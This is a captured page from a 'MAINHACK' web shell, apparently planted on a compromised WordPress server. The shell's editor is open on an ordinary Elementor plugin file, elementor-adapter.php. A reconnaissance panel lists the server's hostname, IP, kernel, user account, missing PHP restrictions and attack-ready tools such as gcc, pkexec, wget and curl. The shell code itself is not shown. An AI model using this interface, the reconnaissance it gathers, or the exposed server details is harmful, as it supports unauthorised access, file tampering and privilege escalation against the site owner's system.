[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: elementor-adapter.php
<?php namespace Elementor\Core\Isolation; use Elementor\Core\Common\Modules\Connect\Module as ConnectModule; use Elementor\Plugin; use Elementor\Modules\ElementorCounter\Module as Elementor_Counter_Module; use Elementor\TemplateLibrary\Source_Local; use Elementor\Utils; class Elementor_Adapter implements Elementor_Adapter_Interface { public function get_kit_settings() { return Plugin::$instance->kits_manager->get_kit_for_frontend()->get_settings(); } public function get_main_post() { return Plugin::$instance->kits_manager->get_kit_for_frontend()->get_main_post(); } public function is_active_kit_default(): bool { $kit_id = Plugin::$instance->kits_manager->get_active_id(); if ( false === $kit_id || null === $kit_id ) { return false; } return esc_html__( 'Default Kit', 'elementor' ) === get_post( $kit_id )->post_title; } public function get_count( $key ): ?int { return Elementor_Counter_Module::instance()->get_count( $key ); } public function set_count( $key, $count = 0 ): void { Elementor_Counter_Module::instance()->set_count( $key, $count ); } public function increment( $key ): void { Elementor_Counter_Module::instance()->increment( $key ); } public function is_key_allowed( $key ): bool { return Elementor_Counter_Module::instance()->is_key_allowed( $key ); } public function get_template_type( $template_id ): string { return Source_Local::get_template_type( $template_id ); } public function get_tier(): string { return Utils::has_pro() ? ConnectModule::ACCESS_TIER_PRO_LEGACY : ConnectModule::ACCESS_TIER_FREE; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.43 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002